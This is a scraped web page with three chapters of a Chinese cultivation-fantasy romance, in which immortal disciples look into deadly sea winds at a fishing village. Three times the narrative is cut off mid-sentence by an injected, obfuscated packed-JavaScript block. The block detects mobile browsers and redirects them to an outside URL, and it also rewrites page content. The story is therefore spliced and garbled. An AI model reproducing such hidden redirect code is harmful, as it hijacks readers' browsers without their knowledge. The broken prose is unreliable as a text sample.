;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192615|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座。 温卓一直没怎么说话。 直到君少暄坐下来之后,他招了招手叫来了店小二,替君少暄加了一份新的杏仁豆腐。 玉阑音看了温卓一眼,不过很快便收回了目光。 “怎么了?是遇到什么事儿了?”元宿央托着腮懒散地开口问道。 俗话说,小孩儿没娘,说来话长。 君少暄便是讲了这么一个小孩儿没娘的故事。 玉阑音、温卓随着元宿央和秋风离开十方宗后不久,秦鹤生便转经几人之口,听说云州南端琼州的汀芷村最近闹了鬼。 汀芷村地势低平,靠海而居,百姓自古靠捕鱼为生。 除了闹水灾的年份,其他时候倒也算得上安稳。 但是不知道从什么时候开始,汀芷村开始不那么太平了。 每个月初和月中的夜晚,汀芷村临近的海上开始刮妖风。 那狂风呼啸之声如鬼哭狼嚎,而但凡是这样的夜后,汀芷村中必定会有人死去。 死去之人的死相惨重,像是被什么怪物啃食过了一般,全身上下再没一块好肉,不少骨头都被啃得碎成了渣子。 久而久之,汀芷村风声鹤唳草木皆兵,人心惶惶。一到月初和月中,村民更是各个家门紧闭足不出户。 可尽管是这样,汀芷村民的接连死亡依旧没有停止,甚至是有愈演愈烈之势。 渐渐的,汀芷村的村民中传出了一些声音。 传言海神波塞冬愤怒之时海底就会出现怪物,于是汀芷村的村民便认为,必然是他们中某些人冒犯了海神波塞冬,所以才惹得海神降此大祸于琼州。 他们思来想去,整个汀芷村,好像的确有那么一户人家怪怪的。 那便是乌家。 汀芷村自古便是只在天晴时捕鱼。 其实过去不少人在雨天冒险出海,但最终无一例外都没能回来。 长此以往,汀芷村的村民达成了一个不成文的共识:狂风骤雨天是海神在提醒他们要养海休渔,若是不顾海神的劝阻在这种日子出海,必然会被海神惩治。 不过,乌家。 乌家是汀芷村的一大户人家,是近些年才从中原迁来琼州的。 乌家应该是从先有些家底,刚来汀芷村便置办了好几只铜皮海船。 无论晴天雨天,早上寅时,乌家必定准时无误地离港出海,并且回回都能安全地满载而归。 他们凭借此赚得盆满钵满,没几年便住上了村里第一户砖房,还开了小鱼铺子,做些鱼虾的干货,富余之时便送到中原去卖。 汀芷村的村民都不太喜欢乌家。 乌家自然也能察觉得出来,平日也不太同汀芷村其他人家往来,自己过着自己的小日子。 汀芷村的人聚在一块儿,说这乌家的小公子从不见人,进进出出一直带着雨笠,看着很是孤僻,定然是有鬼;说这女主人总穿开叉袍子,搔首弄姿,定然也是犯了忌讳,如此云云。 越说越多越说越真,直接是将乌家定了罪。 最后更是一群人起着哄,说要火刑将乌家处死,献祭海神。 这事情一传十十传百,终于传到了秦鹤生的耳朵里。 十方宗作为仙盟掌事宗门,自然是要前去探查清楚。 秦鹤生将此事委托与了善玄。 善玄在掌门那里自然是满口答应地揽了下来。 温卓听着听着,忽然觉得这事情的走向有些耳熟。 不只是他,一旁的元宿央也莫名有这种感觉。 元宿央试探性地开了口:“然后……善玄三推两推,把这事情踢给你了?” 君少暄顶着一对熊猫眼,惊了:“你们怎么知道?” 温卓:“……” 元宿央:“……” 元宿央:“哦,没怎么。你知道前段时日的占风玉盘一事吗?” 君少暄点头:“嗯,记得,玄天门占风玉盘丢失,少掌门和……小师叔,亲自跑了一趟陇西。” 元宿央幽幽问道:“那少暄啊,你猜猜,为什么是你小师叔同我一起呢?” 君少暄:“……” 元宿央正色一叹气:“所以啊,以后不准和你小师叔吵架了,快快和好抱一个吧。难兄难弟。” 难兄难弟暂且不提。 此时,正在山下吃着莲子桂花酥听戏的善玄连连打了几个大喷嚏。 这天气变温,还真是容易感冒啊。 善玄拿帕子抹了两把鼻涕,心想。 50.须弥 君少暄的那一份杏仁豆腐姗姗来迟。 虽然已经是讲得口干舌燥,但碍于玉阑音还在身侧,他还是选择矜持地小口品鉴。 温卓拿湿帕净了手,着手替君少暄斟了一盏茶。 君少暄狐疑地看了一眼温卓,而后才是试探性一尝。 不尝不要紧,这茶一入口,直接叫君少暄尝了个原形毕露。 他皱着张脸,把茶盏“当啷”扔了个好远,“噫,好甜,什么鬼茶。” 温卓是个十分宽厚之人,一向不甚记仇也鲜少动怒。 加之他卓荦不凡的相貌,一丝不苟的行事作风,打眼看过去,甚至比那仙人似的玉阑音都要有君子之态。 他只当君少暄喝不惯甜茶,面上未有丝毫愠色,伸手便欲将那甩了半张桌子远的茶盏收回来。 只是有人似乎手脚更快,先他一步扶起了那蓝瓷茶盏。 “罗汉果,味甘,性凉,清热润肺,利咽开音。”玉阑音笑着将茶盏重新推到君少暄面前,“怎得不领情?” 君少暄在玉阑音笑盈盈地注视下,头皮蹭得发了麻。 一旁的温卓沉默地将一切尽收眼底。 只是,就在收回目光的一瞬间,他心中忽然冒出了个颇为唐突的念头。 这念头叫他一时有些心痒难耐。 于是他下意识又看向了玉阑音。 此时的玉阑音正噙着笑意,拢着那幅宽大袍袖,施施然收回了手。 温卓忽然笑了。 他极为自然地在玉阑音手中拽出了那袖摆,“我来吧。” 随后他的指尖一动,运起一丝灵力。 立即,一缕水雾自那布料上飘散而去。 方才这人的手在那袍袖上来回拈了几下的动作,可不就是因为打上了水,弄湿了吗? 蒸干了那一角袖摆,温卓没有着急收回手。 他手腕一转,十分自然地托住了身旁玉阑音的手。 温卓手上的动作很轻,甚至能称得上小心翼翼,但莫名又透出一种极为矛盾对抗的,不容推却的强硬。 他凤眼低垂,目光沉沉,看不出情绪。 元宿央在一旁缩成个乌龟,不敢高声语,安静如鸡。 他此地无银三百两地拿茶杯挡着半张脸,只一双眼睛露着,瞟了这个瞟那个,生怕玉阑音又要甩了手小发雷霆。 虽然玉阑音这人,即便是发起脾气来也还是……很温和吧,但是城门鱼殃,还是和气生财,和气生财。 不过也不知是因为不想在外人面前使作脾气,还是什么别的原因,对与温卓颇为亲密的胆大包天,玉阑音出乎意料地并没有很大的反应。 他只轻轻垂着眼眸看了温卓一会儿,随后便一言不发地又抬起了头。 温卓眯了眯眼睛,更是胆大妄为地指尖一勾,轻轻挂住了玉阑音的小拇指。 这三人一场暗戏,眼神交错电光火石,但又排山倒海风起云涌。 似乎所有人都上了这戏台,除了——此时桌上的第四人——君少暄。 他目前是真的没闲功夫品味这三人的眉来眼去。 君少暄欲哭无泪,“不是的,长老,我真的不是故意要摔了杯子的……” 他边说着,边诚惶诚恐、哆哆嗦嗦地,把玉阑音递来的那个茶碗重新抓回了自己手里。 玉阑音听到君少暄开口唤他,重新看向他,一如往昔的笑意盈盈,淡然有礼。 他其实并未动怒。 方才也不过是因为见到温卓好心倒去的茶被摔了个老远,再一想到温卓这个锯嘴葫芦,心中不知怎地觉得有些窝囊,才主动开口替温卓解释了一番。 玉阑音失笑,更多又是有些感慨。 他自觉自己应该不像是罪大恶极的魔头,怎么一张口的三言两语把这孩子吓成了这样?简直是有罪。 “无碍,只是小事,”他哄人似的眨了眨眼,“不然我捏只小麻雀给你玩?” 玉阑音边说着,边要翻手腕给君少暄化只小鸟玩去。 忽然,他的左手被拽得一痛。 莫名被温卓攥紧了手,玉阑音有些不解地朝他看去。 温卓脸色有点臭。 随后他就顶着这么一张臭脸,手指一动,亲自变了一只……麻雀,大概是麻雀。丑得离奇。 然后又臭着脸扔给了君少暄。 玉阑音颇为稀罕地一挑眉。 君少暄:“……” 君少暄:“谢谢……小师叔。” 忍辱负重啊,忍住负重。 为了讨长老欢心,他忍了! 君少暄抱着小麻雀的模样很是视死如归,逗得玉阑音和元宿央皆是一个没忍住,笑出了声。 玉阑音笑起来,终于是扫去了些倦态的苍白,有了些活人气。 他带着仍未消散的笑意,朝君少暄道:“那善玄遣你去琼州调查此事,可是调查清楚了?” 君少暄“哦”一声,也终于是想起了正事儿。 他把那丑麻雀往怀里一塞,“我去乌家调查过,虽说未能见过乌家那病弱的小儿,但是我简单看过,他们家不像是有那劳什子海神啊,妖怪啊的样子。” 元宿央皱了皱眉,“那果真是有人在作怪了?” 君少暄却是摇了摇头,“那倒也不是。我在汀芷村小住了几日,还真叫我正巧赶上了朔日。那晚上确实是可怖,地动山摇,狂风暴雨大作。不过,夜里戌时,那风一起我就闻出来了。” “是厌族。” 君少暄话音一落,桌上其他三人脸色齐齐一变。 “厌族?”元宿央声音都提高了些,“怎么可能?厌族怎么可能不声不响地越过结界,从须弥之地进了云州大陆?” 甚至,在一旁一直默不作声的温卓都锁紧了眉头,几乎是瞬间就慌了神。 他偏过头去看向玉阑音,抓着玉阑音的手也猛地收紧,“阑音?” 玉阑音同样皱了眉,而后习惯性地安抚地拍拍温卓的手,“我没有不舒服。” 听惯了这人的谎话,温卓这次自然也是不相信的。 他的眉头毫无松开的迹象,当即就要伸手送灵气亲自去探。 玉阑音似乎是忽然忘记了两人如今微妙的关系,大概也忘了自己那言之凿凿的“不理会”之应策。 “当然是真的,”他笑着叹一口气,分外听话地伸着手,任由温卓从头到尾检查,“不过是染了风寒,你也是知道的。” 温卓不搭腔,只自顾自送灵气上上下下在玉阑音体内转了好几大周。 嗯,还是那副半死不活的样子。 不过倒是也没变得更坏。 元宿央看温卓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214808|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说话,一颗心吊到了嗓子眼,他担忧地问:“如何?” 温卓摇摇头:“并无大碍。” 温卓又将灵力运了一周,这才察觉到玉阑音体内的灵力又稍欠。 他当即大马金刀地把灵力运起,泄洪似的往玉阑音枯竭的灵脉里塞了个满满当当。 元宿央往后一仰,语气颇为疑惑道:“那真是奇了怪了。” 君少暄在一旁听得很不解。 “最近这世道不济,有厌族也不是什么新鲜事吧,”他挠挠头,“云州北塞的好些地方,这些年结界不稳,一直不算太平。” 随后君少暄就看到,温卓和元宿央齐齐用一种难以言状的目光看了他一眼。 玉阑音忽然掩着袖子轻轻咳了两声,轻飘飘地将这事情揭了过去,“这件事情过后再说。先说,那月初晚上的厌族,之后是如何了?” 闻言,君少暄顷刻回了神,正了身子道:“说来惭愧,那日我的确未能亲自见到这厌族的形貌。当时只是天地变色,我甚至察觉不到何处才是这鬼气的源头,也没能见到什么异样,可第二日却是又死了人。” 他越说神色越赧然,“随后我想,这可不行啊,我这一番若是无功而返,只怕是回头要挨师尊的骂了。” ……而且何止是他师尊,只怕是玉阑音这里他都免不了挨训了吧。 君少暄越想越觉得人生无望,还是一头撞死了却心事得了。 但哪成想,玉阑音听此废物言论,非但没有动怒,竟还笑得眯了眼睛,忽然像是从仙界下了人间,无端叫人觉得亲近不少。 “我记得你的师尊是……与徵?”玉阑音略一思索,“与徵的确是很严肃,打小就是个小古板,总向我告鹤生的小状。最常说的是鹤生又不写学堂留得书业,这类的。” 果然,这世上最能同人拉进关系的方法便是说别人的闲话。 玉阑音这人活了千岁有余,说起这些人的小话简直是如数家珍。 若不是他不爱背后谈论这些,许是都能编排整个云州的话本子了。 玉阑音笑了笑,很快便将思绪收回。 “随后又是如何了?”他复而抬眸看向君少暄,继续问道。 不问还好,这一问,君少暄更是羞于开口。 他哼哧了半天才从牙缝里挤道:“朔日没能查出个所以然,我便打算,至少要待到旬余月中,再探一次才是。” 玉阑音一直以来就是个很好的听客。 他盈着笑意的眼睛是如此平静又宽阔,叫人觉得他大概是听得很认真。 君少暄被盯得羞惭,枯槁的脸更是凄惨,“……我是扮作普通人去的汀芷村,自然是要食宿还俗,但是哪成想……我吃不得鱼虾,将近半月上吐下泻……” 元宿央听着,终于忍不住嘴角一抽,“抱歉打断一下。你是说,你一介药术师,闹了半个月肚子,变成了这……囚首垢面的模样?” 君少暄挠挠鼻子,半是不服地哼唧道:“那巧妇难为无米之炊,汀芷村净是海鱼海虾,我不停口,如何自医呢……” 温卓和元宿央不懂药术,但实在觉得大受震撼,于是转而看向玉阑音。 玉阑音在二人求知若渴的目光下,极为迟缓地捏了捏鼻梁。 “少暄啊,看来我回头,得叫与徵多关照关照你的课业才是。” 51.海岛 君少暄的脸色瞬间变得有些凝滞。 他迟疑着露出了一个极为难看又凄凉的表情,“长老……” 玉阑音放下了在眉骨上揉捏的手。 或许是因为按得太久,他的眉眼之上浮上了一层极为脆弱的倦怠,“嗯,怎么了?” 正沉浸在悲怆中的君少暄乍然一见如此苍白的玉阑音,喉头一哽,再难说出话来。 温卓的眉头打刚才就没松开过,一双眼睛一瞬不歇地追随着玉阑音。 只要玉阑音稍一动作,他便要急匆匆附身过来,毫无先前冷眼自持之相,“怎么了?是哪里不舒服了?要喝些什么还是吃些什么?” 这连环炮似的车轱辘话一出,玉阑音当即就笑了,“还和小时候一样。坐得太久有点疲乏而已,没有什么不舒服的。” 元宿央叹着气摇了摇头。 他煞有介事地摸了一把并不存在的胡子,沉声沉调道:“太嵇啊,知道你现在和温爱卿不投气,但是也不能讳疾忌医,有什么不适之处,那还是要快快告知才是。” 玉阑音伸手拢了拢自己耷拉着的颇为碍事的长发,笑眯眯看向元宿央。 他薄唇轻启:“滚。” 挨了骂的元宿央似乎很是欣慰,他老神在在点点头,看向温卓:“嗯,很有活力,看来确实是未有痛疾。温爱卿大可放心了。” 君少暄:“……” 这三人……这……这真的对么? 温卓终于将目光从玉阑音身上挪开,用一种极为稀罕地,看二愣子似的眼神看了一眼元宿央。 玉阑音则是对此早已习惯,自顾自喝着茶,佯装听不见。 元宿央扁扁嘴,嘟囔道:“无趣。” 随后神情不是很爽快地恢复了正常,窝到椅子里不作声了。 最终,由于这件事情莫名其妙同厌族有了牵连,恐有蹊跷,玉阑音也实在是放心不下,便决定叫君少暄带路,亲自前去汀芷村一看。 “太嵇……行行好吧,我也想同你们一起去,我保证不捣乱!” “不行。” “太嵇……” “不行。” 似曾相识的画面再度上演。 元宿央又是一把鼻涕一把泪地挂在玉阑音身上不撒手。 温卓脸色不霁,一伸手就把这人形树熊薅了下来,“别动手动脚。” 随后此地无银三百两似的又道:“他不舒服。” 元宿央剜了温卓一眼:“我呸!看把你小气的!” 玉阑音佯装听不懂,温温和和行了个礼,拂袖转身,“一一,送客。” 玉阑音这段时间鲜少唤他一一。 如今乍然再度听到,温卓心下登时甚为感慨,颇有“拨得云开见月明”’、“轻舟已过万重山”之感。 元宿央瞧着这和被灌了迷魂汤似的温卓,忽然有些不太妙的预感。 “诶诶,温卓,你稍微等等——” 温卓嘴角带着一丝不自觉的,极为克制,却极为欢愉的笑意。 他几乎称得上温和地朝元宿央看去,随后手一翻—— 元宿央整个人忽然被灵力球一裹,他甚至未能有反抗的空当,眨眼的功夫他浑身上下已经开始有了被传送的撕拉感。 万急之间,他只得了功夫空荡又悲愤地高呼一句:“温卓!你大爷的——” 温卓至若未闻,又贴心地附上了一个缄言诀。 手指再是一动,忽然一阵细微的破风声响起,元宿央连人带脚印儿消失了个干干净净。 温卓收回手,邀功似的回到玉阑音身边,“送走了。” 就在一旁目睹了一切的君少暄:“……” 他静默一会儿,随后在心中鞠了三躬,作着告别。 一路走好,少掌门。失礼,失礼。 玉阑音看着温卓近乎轻狂的眉眼,哭笑不得地摇摇头,“你啊……” 其实出乎他意料的,自打那夜那一通大逆不道的话后,温卓居然真的再没做出什么更惹火他的、更出格的事情。 他乖巧到玉阑音时常要怀疑那一夜是不是自己出现了幻觉,误解了他。 玉阑音从来不是个会“孩子气”的人,他这将近一旬日的刻意冷落之任性,可谓是前所未有。 今日温卓小心抓住他手的时候,不知怎么的,他忽然就泄了气。 多大的人了,和一个不懂事的孩子计较什么呢?怎么事越活越倒退了。 而且…… 玉阑音如此想着,不自觉地看向温卓。 而且…… 玉阑音用一种沉静又悲伤的目光,定定地盯了温卓很久。 与此同时,一旁的君少暄自然是不敢做声。 他看看玉阑音,又看看温卓,努力地消化这看起来有些……怪异的师徒二人。 你说他们关系不好吧,举止却很是亲昵。 说关系好吧,好像又有点太畏手畏脚。 他不禁代入了一下自己和他师尊与徵长老。 “噫……”以起了一身鸡皮疙瘩结束。 “……少暄?”玉阑音唤了他一声,“怎么了?是不舒服了?” 君少暄终于彻底回了神,“没有没有没有,没有不舒服。” “那就好,”玉阑音笑了起来,“药术师就你我二人,你要是真的病倒了,我还有些难办呢。” 君少暄两脚“啪”得一并,忽然站得很是挺拔,“长老,过,过奖了!我这就带您和小师叔前去汀芷村!” 玉阑音被忽然打了鸡血的君少暄吓了一跳。 他正欲开口说些什么,但君少暄早已听也不听地开始结起了印,手指翻飞煞有介事。 温卓似乎同样注意到了什么。 他眉头一蹙,显然也是有话要说。 只可惜,为时已晚。 没等到他们二人开口,君少暄已经是结印结束了,他眸光一定,深棕的瞳仁之上流闪过一簇金光。 下一秒,一阵要人命的地动山摇和撕扯感袭来。 君少暄甚至是没拿灵气做个介子,只幻化一根金色绳鞭,虚虚将三人捆在一起,再一个缩地术,一紧绳鞭,拽上人就远走了。 他这缩地千里粗暴到像是在运猪牛羊,纵然是阅尽人世间法术的玉阑音都有点吃不消。 一落地,玉阑音居然久违地感觉到了眩晕。 他脚步不稳地向后一个踉跄,忽然像是撞到了什么铁板,震得他头嗡得一响,霎时之间视物都不清。 “小心。”头晕眼花之际,一双带着薄茧的手虚虚揽住了他。温和却有力,莫名地叫人心安。 玉阑音不适地揉揉眉心,好一会儿才看清眼前的人。 哦,是温卓。 都不用开口去问,温卓的神色也算不上无恙,显然也被君少暄这载人之术折腾得不清。 三人之中,唯一一个看上去平安的人便是那始作俑者君少暄了。 他见二人脸色青白,走近二人关切道:“长老,小师叔,你们怎么了?” 他这“小师叔”越叫越顺溜,听着居然还挺情真意切。 只可惜小师叔温卓本人脸臭无比,完全不领情。 玉阑音又是缓了一阵,堪堪压下了呕吐之感,“少暄啊,你的法术,究竟是和谁学的?” 君少暄仰头沉思一番,“有的是翻古籍自己学的,有的是师尊教的。” 玉阑音苍白一笑,“以后不准自己学了。” 君少暄一愣,“嗯?” 温卓虽然自己也算不上舒服,但是更多是看着玉阑音现在这难受的样子,心疼得很。 他不轻不重揉着玉阑音被绳鞭捆得擦破了皮的手腕,一边输送灵气替他调息。 他看一眼很是无辜的君少暄,抿了抿唇,但还是好心地回答道:“捆缚之术一般不得与缩地术同用。” 君少暄又是一愣,“啊,是吗?可是我从小到大,师尊都是这么捆着我缩地的?” “这与徵……真是,误人子弟……”不说还好,他此言一出,玉阑音脸色陡然更难看了,“我专门在《大成捷要》中写过的,这群小子……都学到哪里去了?” 君少暄当即眼观鼻鼻观心,老老实实一副受审的样子站在一旁,看起来颇为乖巧谦虚,其实已经走了好一会儿了。 嗯,这下好了,不光自己挨臭训,回头怕是连他师尊都难逃一劫。 君少暄心中一片安详地替自己、替师尊点上了两盏长明灯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223046|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉阑音自觉方才之语有些气势凌人,再看君少暄那委屈的样子,一时愧疚心起。 “抱歉,”玉阑音揉揉眉心,“我方才所言态度欠佳,是我之过,不必记怀。” 此言一出,空气似乎都停滞了一瞬。 “嗯?”一旁入定了的君少暄又默默地复活,抬起了头。 他有些不可置信地揉了揉耳朵。 虽然他知道他们这无上长老脾气是很好没错……但是这未免也太好了吧? 连道歉这种事情都是张口就来的? 君少暄看着玉阑音温和又带着歉疚的脸,忽然间觉得很悲怆。 他恶狠狠地把心里那盏与徵的长明灯吹灭了。 随后很是嫉妒地看向温卓,表情甚为扭曲。 温卓不明所以地痛君少暄对上目光。 君少暄冷哼一声,不理他,随后挤出了些十分惶恐又谄媚的笑意,同玉阑音道:“哪有哪有,长老教训得是,长老教训得是。” 汀芷村地处海岛之上,傍晚之时自然是起了风。 玉阑音本就染了风寒,如今身体更是不舒服,风一起便咳了起来,一张脸忽然褪得没有了一丝血色。 温卓眉间一蹙,变戏法似的变出来一件藕白色绸缎披风,披风摆上金丝修着乌鹊别枝之图,其内一层薄薄的狐绒。 他不由分说地将披风系到了玉阑音肩膀之上。 君少暄看得也是心头一紧,“小师叔,长老这是……” “无碍,”玉阑音温和笑道先一步开了口,声音像是春日宴会之上淌过的暖泉,“染了风寒而已。” 玉阑音本意是不愿叫君少暄知道得过多,于人于己都是个麻烦。 但他这信口胡诌的话刚一出口便后悔了。 只能盼着这没眼力见的小孩儿别问他“为何不自医”这种问题了吧。 不过这倒是玉阑音多虑了,君少暄看着一股子聪明劲儿,实则是个二愣子,三言两语间就被玉阑音的模样唬得信了七八成。 他似懂非懂点点头,“哦,那长老确实该穿厚些。” 温卓的眉头从刚才便没有松开过。 阑音现在的模样……似乎不只是像染了风寒。 倒是很像在札布萨那年时的…… 温卓如此想着眼眸已经是一片通红。 他识海消停了好些日子的厌族神识也蠢蠢欲动,震得他太阳穴鼓鼓得发胀。 玉阑音似乎也是犯了些头痛症,他拨开头发,顺着鬓角按了按脸廓和后颈。 随后他侧过脸,见温卓脸色也不好,甚为关切的问道:“怎么了?不舒服了?” 温卓被这人毫无血色的昳丽面容刺得迅速移开了目光。 他下意识抬头往天上看去。 海岛不愧是海岛,夕阳西下之时的红光是最为明艳。 橙红色的日轮往海下跳,天幕上挂着的云州结界碎光斑驳。 玉阑音这人有些眼疾,只眯着眼睛瞧了一会儿便觉得不太舒服,于是便收回目光,问君少暄道:“这便已经是到汀芷村了?” 君少暄一看这海就想吐,自然是没随着二人一同欣赏海岛风光,正垂着头整理自己皱巴的衣服。 “哦,这里不是汀芷村,这里是村外。”君少暄闻言,抬头回答道,“汀芷村的村民极为排斥外乡人,白日还好说,但夜里是定不会留人住宿的。今日天色晚了,我们不进村了,只能在村外找客栈将就将就。” 温卓一边替玉阑音整理歪了的披风带子,一边问道:“客栈条件如何?” “条件……就一般吧。琼州不必中原,客栈大多都很简陋。”君少暄略一思索,“不过这西樵客栈来往人很多,消息打探起来很容易,所以我大多时候是在这儿住。” 玉阑音胸口有些发闷,低声咳了起来,直到一双桃花眼里都漫上了水雾。 温卓不容拒绝地又往他手里加了个小暖炉,在一旁替他顺着气。 君少暄只看一眼,似乎是想到了什么,连忙又道:“不过长老体弱,若是住不惯这客栈,我们便再换一个,不打紧。” 玉阑音浅笑着同他摇摇头,“无妨,就去这西樵客栈便是,正巧我也有些事情没弄明白,去那处也好打听一二。” 52.颤栗 夜风卷起长浪,在金色滩岸上袭沙翻滚,在海岸礁石之上碰撞。椰树长而坚韧的长叶片顺着风弯折,哗啦作响。 长夜之下的所见之处,空无一人。 然而,此时岸边西樵客栈内却是一片人声鼎沸。 “……别提了,今儿挂个桩!一过江龙,在榜首好几年了,点子硬着嘞!” “……唉,是啊,百年前年那场洪灾那可真是……” “……靳修之,你一臭文人,在这儿凑得什么热闹?充好汉?” “……呔!这老子当年那是走了板,如今金盆洗手兖州凤凰城三爷是也!” “……嚯,乖乖的好大一黄鱼!莫不是来唬老子的?” …… 西樵客栈的布置十分简朴,客堂内仅七八张长桌,却是站着的、坐着的聚了大几十号人。 他们各人聊各人的,衣着口音各不相同,五湖四海的方言齐飞,嗓门大得震天响。 整个客栈内除了人头就是木头桌椅,一眼扫过去,唯一值些价钱的大概只有那黄杨木的柜台。 柜台前坐着一个十分美艳的妇人,大约是客栈掌柜。 她头发歪七八扭地簪着,此时正一手举着烟斗,一手噼里啪啦拨着算盘,被这群粗老爷们儿的破锣嗓子吵得满脸不耐。 而就在这西樵客栈,最角落的那张长椅之上坐着的三人却与这地界极为格格不入。 那三人中,一人面容枯槁穿着青色长衫,一人一袭玉色广袖长袍宛如离群病鹤,数来数去,倒只有那玄锦金缎的最后一人面色还算得上健康。 三人皆衣貌不俗,举止有礼,开口说话的时候也是极为少数。 长桌上只两道凉菜,三人自顾自安静地喝着茶。 “……打扰三位了,请问这位置可是空闲?可否一坐?”忽然,一个文文弱弱书生模样的人细声细语问道。 温卓抬头看一眼这书生,再稍稍侧目看一眼玉阑音。 玉阑音端着茶杯轻轻一点头,于是温卓才同这年轻人颔首道:“嗯。” 那书生拱手行了一礼,很是文质彬彬:“多谢三位。” 随后才规规矩矩贴着边落了座。 “在下靳修之,不知三位公子如何称呼?”靳修之给三人添了添茶,温声问道。 君少暄闻言惊讶地看他一眼,“你便是方才他们话里的靳修之?” 靳修之不好意思一笑,“对,是我。” “哦,幸会幸会。君少暄,”君少暄抱拳行一礼,随后依次介绍道,“玉阑音,温卓,我的两位兄长。” 三人为了不引人注意,特地隐去了一身灵力扮作了普通人,君少暄自然也是没有再以长老、师叔称呼。 不过和他们长老称兄道弟的感觉还真是刺激。 靳修之了然,朝二位又行了一礼,“玉兄,温兄。” 玉阑音闻言,放下茶盏,朝靳修之温温和和一笑,温卓则是再一颔首。 君少暄见状解释道:“哦,我的这两位兄长平日就是少言之人,靳兄莫怪。” “无妨,无妨,靳某理解。”靳修之连连摆手道。 君少暄自打进了西樵客栈,就被客栈里腥气的海鲜味害得一阵阵地反胃。 此时说完了话,他终于是忍无可忍地泄了气,面色一变,半伏到了桌上开始干呕。 “呕……” 坐在一旁的靳修之很有眼力见,眼疾手快地递了一杯茶去,“君兄?” 君少暄这人就像是个骄傲的孔雀,闻言,逞强地缓缓抬起他菜色的脸,接过茶杯镇定地摇头,“嗯,无事。” 靳修之不信,忧心忡忡地看着君少暄,还欲再语。 一旁一直默不作声的温卓稍稍侧脸,看到君少暄铁青的面色,十分好心且适时地截下了靳修之的话口:“琼州人多势杂,靳兄今日这是一人前来?” 这西樵客栈是三教九流之人换切口之处,若是换那些个老油条来定然是一听便知:这小子,这是在盘道呢。 玉阑音侧目看一眼温卓,很轻地抬手抿了口茶。 不过靳修之只是个文弱的读书人,他似乎对温卓这盘海底的话无察无觉,甚至是颇为感激道:“嗯,我是听说琼州有乱,恰巧离得琼州近便来看看。我一人也能安全的,多谢温兄关心。” 温卓点点头,不再多言。 君少暄趴在桌上神色恹恹,顺嘴问道:“方才听那些人提到了百年前的洪灾?这具体又是怎么的事?” “哦,洪灾,”闻言,靳修之抱着茶杯坐正身子,眼睛四下瞟了瞟,这才小声道,“一百年前的那次水灾,大雨连绵海水倒灌,千百年来绝无仅有,数那临海的汀芷村受害最严重。” 靳修之喝了口茶水,又道:“当时这村民都传言说,这是那海神发了怒,大概是有什么邪物降临了,不过后续很多年此处再没有异象,这谣言也就渐渐被人忘了。不过今年汀芷村又出了那死人的事情……” 靳修之没再继续说下去,止了话。 君少暄无所谓地一嗤笑,“又是那海神、那邪物的,神神鬼鬼的东西,净是些骗三岁小孩的鬼故事。听听就罢。” 靳修之十分惊讶,随即相见恨晚地大力点头,“是呀是呀!我方才也是如此说的,有空拜那劳什子海神,还不如去拜咱们那云州上仙来得划算。这才挨了那些粗武家伙好一顿数落。” 长桌对面,贵为云州上仙本人玉阑音听至此,结结实实呛了一口茶水,“咳咳咳……” 呛得苍白许久的脸上都犯了红晕。 温卓坐得紧挨着玉阑音,眼睛也是一刻没离开过他。 他一边替玉阑音顺着气,一边状似无意地抬头问靳修之道:“是如何说的?” “嗯?”靳修之先是一愣,随后才后知后觉地回了神,他指指身后的喝酒扯皮的大汉们,“温兄是说这些人?” 温卓见玉阑音止了咳,重新替他斟了杯新茶,“嗯。” “他们黑话白话夹杂的,我也听不太懂,”靳修之回忆片刻,“大概就是因为我提到了云州上仙吧。” 靳修之的话音刚落,温卓便问道:“为何?” 一晚上没怎么说话的玉阑音终于皱了皱眉,他似乎是有些苦恼地摇摇头,边伸手去拦了一下温卓,“别……” 温卓甚至看都没看玉阑音一眼,直接抬手将玉阑音的手按了回去,有些执着地再问了一遍:“为何?” “云州上仙的故事过去太久了,现在的年轻人认得他的人都越来越少了。而且如今天道崩颓世道每况愈下,在民间,云州上仙早就名声扫地,成了家喻户晓的扫把仙了。”靳修之疑惑道,“你们不知道这些?” 都不必说温卓,一旁君少暄听得脸色都铁青了起来。 他皱着眉,语气也恶劣了好些,“我去他的扫把仙!本少爷家拜的宗主神就是云州上仙,年年顺遂安康得很!” 玉阑音倒是有些稀奇地看了君少暄一眼。 “我本人是很尊敬上仙大人的,君兄息怒,息怒。”靳修之也很为难,“可是这民间事就是这般,各地百姓眼界也有限,云州上仙是云州的守护主神,如今世道不济自然是首当其冲。” 君少暄听得更是气极,冷哼一声,“那他们平 